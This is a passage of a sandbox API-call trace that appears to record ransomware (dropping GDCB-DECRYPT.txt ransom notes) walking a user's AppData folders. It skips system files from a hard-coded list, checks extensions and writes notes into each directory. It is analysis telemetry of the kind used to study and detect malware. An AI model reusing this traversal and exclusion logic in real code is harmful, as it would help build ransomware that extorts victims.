lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\GDCB-DECRYPT.txt" [0135.538] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.538] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\GDCB-DECRYPT.txt") returned 70 [0135.538] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\GDCB-DECRYPT.txt") returned 70 [0135.538] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\GDCB-DECRYPT.txt") returned 70 [0135.538] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\GDCB-DECRYPT.txt") returned 70 [0135.538] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.539] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.539] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.539] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.539] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.539] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.539] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.539] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.539] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.539] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.539] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.539] lstrcmpW (lpString1="XLSTART", lpString2=".") returned 1 [0135.539] lstrcmpW (lpString1="XLSTART", lpString2="..") returned 1 [0135.539] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\", lpString2="XLSTART" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART" [0135.539] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\" [0135.539] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.539] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.539] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.539] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\") returned 62 [0135.539] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*" [0135.539] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7640 [0135.539] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.539] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.539] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.539] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.539] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.540] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.540] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.540] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\GDCB-DECRYPT.txt" [0135.540] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\GDCB-DECRYPT.txt") returned 78 [0135.540] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.540] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0135.540] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.540] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.540] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\\\GDCB-DECRYPT.txt") returned 79 [0135.540] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\excel\\xlstart\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.540] GetLastError () returned 0x50 [0135.541] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.541] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\") returned 62 [0135.541] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*" [0135.541] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x2c7640 [0135.541] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.541] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.541] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.541] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.541] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0135.541] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.541] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.541] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\GDCB-DECRYPT.txt" [0135.541] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.541] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\GDCB-DECRYPT.txt") returned 78 [0135.541] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\GDCB-DECRYPT.txt") returned 78 [0135.541] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\GDCB-DECRYPT.txt") returned 78 [0135.541] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\GDCB-DECRYPT.txt") returned 78 [0135.541] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.541] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.541] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.541] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.541] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.541] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.541] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.541] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.541] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.541] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.542] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0135.542] FindClose (in: hFindFile=0x2c7640 | out: hFindFile=0x2c7640) returned 1 [0135.542] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0135.542] FindClose (in: hFindFile=0x2c7780 | out: hFindFile=0x2c7780) returned 1 [0135.542] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.542] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.542] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.542] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\GDCB-DECRYPT.txt" [0135.542] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.542] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\GDCB-DECRYPT.txt") returned 64 [0135.542] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\GDCB-DECRYPT.txt") returned 64 [0135.542] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\GDCB-DECRYPT.txt") returned 64 [0135.542] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\GDCB-DECRYPT.txt") returned 64 [0135.542] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.542] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.542] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.542] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.542] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.542] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.542] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.542] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.542] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.542] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.542] FindNextFileW (in: hFindFile=0x2c7a80, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0135.542] lstrcmpW (lpString1="Internet Explorer", lpString2=".") returned 1 [0135.542] lstrcmpW (lpString1="Internet Explorer", lpString2="..") returned 1 [0135.542] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Internet Explorer" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer" [0135.542] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\" [0135.542] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.543] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.543] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.543] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.543] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.543] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.543] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\") returned 66 [0135.543] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*" [0135.543] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x2c7ac0 [0135.543] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.543] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.543] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.543] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.543] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.543] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.543] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.543] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\GDCB-DECRYPT.txt" [0135.543] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\GDCB-DECRYPT.txt") returned 82 [0135.543] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.543] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.543] lstrcmpW (lpString1="Quick Launch", lpString2=".") returned 1 [0135.543] lstrcmpW (lpString1="Quick Launch", lpString2="..") returned 1 [0135.543] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="Quick Launch" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" [0135.543] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned 78 [0135.543] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0135.543] lstrcmpW (lpString1="UserData", lpString2=".") returned 1 [0135.543] lstrcmpW (lpString1="UserData", lpString2="..") returned 1 [0135.543] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="UserData" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData" [0135.543] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData") returned 74 [0135.543] FindNextFileW (in: hFindFile=0x2c7ac0, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0135.543] FindClose (in: hFindFile=0x2c7ac0 | out: hFindFile=0x2c7ac0) returned 1 [0135.543] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.544] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\\\GDCB-DECRYPT.txt") returned 83 [0135.544] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\internet explorer\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.544] GetLastError () returned 0x50 [0135.544] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.544] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\") returned 66 [0135.544] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*" [0135.544] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x2c7640 [0135.544] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.544] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.544] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.544] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.544] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.544] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.544] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.544] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\GDCB-DECRYPT.txt" [0135.544] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.545] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\GDCB-DECRYPT.txt") returned 82 [0135.545] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\GDCB-DECRYPT.txt") returned 82 [0135.545] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\GDCB-DECRYPT.txt") returned 82 [0135.545] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\GDCB-DECRYPT.txt") returned 82 [0135.545] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.545] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.545] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.545] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.545] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.545] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.545] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.545] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.545] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.545] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.545] FindNextFileW (in: hFindFile=0x2c7640, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0135.545] lstrcmpW (lpString1="Quick Launch", lpString2=".") returned 1 [0135.545] lstrcmpW (lpString1="Quick Launch", lpString2="..") returned 1 [0135.545] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\", lpString2="Quick Launch" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch" [0135.545] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\" [0135.545] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.545] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.545] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.545] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.545] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.545] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.545] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\") returned 79 [0135.545] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*" [0135.546] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x2c7680 [0135.546] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.546] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.546] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.546] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.546] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.546] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0135.546] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0135.546] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" [0135.546] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 90 [0135.546] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0135.546] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0135.546] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.546] lstrcmpW 